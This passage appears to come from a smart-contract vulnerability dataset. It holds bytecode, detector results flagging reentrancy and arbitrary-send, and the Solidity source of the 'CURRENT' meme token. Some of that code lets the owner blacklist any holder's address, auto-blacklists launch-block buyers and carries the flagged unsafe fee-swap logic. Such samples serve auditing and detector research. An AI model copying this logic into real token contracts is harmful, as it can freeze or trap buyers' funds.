000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e806348222df15c2f3b0f315e9a443a17dd7cde93c441c3d9c17e2737f53a3bc64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,779 |
0xdcdead19347de9705dd3d99d1de80b10381310a3
|
//ELON SUPPORT THE CURRENT THING
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract CURRENT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "THE CURRENT THING";
string private constant _symbol = "CURRENT";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(3).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(13).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(13).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 13, "not larger than 13%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fb578063cf0848f714610410578063cf9d4afa14610430578063dd62ed3e14610450578063e6ec64ec14610496578063f2fde38b146104b657600080fd5b8063715018a61461032e5780638da5cb5b1461034357806390d49b9d1461036b57806395d89b411461038b578063a9059cbb146103bb578063b515566a146103db57600080fd5b806331c2d8471161010857806331c2d847146102475780633bbac57914610267578063437823ec146102a0578063476343ee146102c05780635342acb4146102d557806370a082311461030e57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101be57806318160ddd146101ee57806323b872dd14610213578063313ce5671461023357600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d6565b005b34801561017e57600080fd5b506040805180820190915260118152705448452043555252454e54205448494e4760781b60208201525b6040516101b591906118f3565b60405180910390f35b3480156101ca57600080fd5b506101de6101d936600461196d565b610522565b60405190151581526020016101b5565b3480156101fa57600080fd5b50678ac7230489e800005b6040519081526020016101b5565b34801561021f57600080fd5b506101de61022e366004611999565b610539565b34801561023f57600080fd5b506009610205565b34801561025357600080fd5b506101706102623660046119f0565b6105a2565b34801561027357600080fd5b506101de610282366004611ab5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102ac57600080fd5b506101706102bb366004611ab5565b610638565b3480156102cc57600080fd5b50610170610686565b3480156102e157600080fd5b506101de6102f0366004611ab5565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031a57600080fd5b50610205610329366004611ab5565b6106c0565b34801561033a57600080fd5b506101706106e2565b34801561034f57600080fd5b506000546040516001600160a01b0390911681526020016101b5565b34801561037757600080fd5b50610170610386366004611ab5565b610718565b34801561039757600080fd5b5060408051808201909152600781526610d5549491539560ca1b60208201526101a8565b3480156103c757600080fd5b506101de6103d636600461196d565b610792565b3480156103e757600080fd5b506101706103f63660046119f0565b61079f565b34801561040757600080fd5b506101706108b8565b34801561041c57600080fd5b5061017061042b366004611ab5565b61096f565b34801561043c57600080fd5b5061017061044b366004611ab5565b6109ba565b34801561045c57600080fd5b5061020561046b366004611ad2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a257600080fd5b506101706104b1366004611b0b565b610c15565b3480156104c257600080fd5b506101706104d1366004611ab5565b610c8b565b6000546001600160a01b031633146105095760405162461bcd60e51b815260040161050090611b24565b60405180910390fd5b6000610514306106c0565b905061051f81610d23565b50565b600061052f338484610e9d565b5060015b92915050565b6000610546848484610fc1565b610598843361059385604051806060016040528060288152602001611c9f602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113dc565b610e9d565b5060019392505050565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161050090611b24565b60005b8151811015610634576000600560008484815181106105f0576105f0611b59565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611b85565b9150506105cf565b5050565b6000546001600160a01b031633146106625760405162461bcd60e51b815260040161050090611b24565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610634573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053390611416565b6000546001600160a01b0316331461070c5760405162461bcd60e51b815260040161050090611b24565b610716600061149a565b565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161050090611b24565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052f338484610fc1565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161050090611b24565b60005b815181101561063457600c5482516001600160a01b03909116908390839081106107f8576107f8611b59565b60200260200101516001600160a01b0316141580156108495750600b5482516001600160a01b039091169083908390811061083557610835611b59565b60200260200101516001600160a01b031614155b156108a65760016005600084848151811061086657610866611b59565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b081611b85565b9150506107cc565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161050090611b24565b600c54600160a01b900460ff166109465760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610500565b600c805460ff60b81b1916600160b81b17905542600d81905561096a9060b4611ba0565b600e55565b6000546001600160a01b031633146109995760405162461bcd60e51b815260040161050090611b24565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e45760405162461bcd60e51b815260040161050090611b24565b600c54600160a01b900460ff1615610a4c5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610500565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac79190611bb8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b389190611bb8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba99190611bb8565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b815260040161050090611b24565b600d811115610c865760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031332560681b6044820152606401610500565b600855565b6000546001600160a01b03163314610cb55760405162461bcd60e51b815260040161050090611b24565b6001600160a01b038116610d1a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610500565b61051f8161149a565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6b57610d6b611b59565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de89190611bb8565b81600181518110610dfb57610dfb611b59565b6001600160a01b039283166020918202929092010152600b54610e219130911684610e9d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5a908590600090869030904290600401611bd5565b600060405180830381600087803b158015610e7457600080fd5b505af1158015610e88573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610eff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610500565b6001600160a01b038216610f605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610500565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610500565b6001600160a01b0382166110875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610500565b600081116110e95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610500565b6001600160a01b03831660009081526005602052604090205460ff16156111915760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610500565b6001600160a01b03831660009081526004602052604081205460ff161580156111d357506001600160a01b03831660009081526004602052604090205460ff16155b80156111e95750600c54600160a81b900460f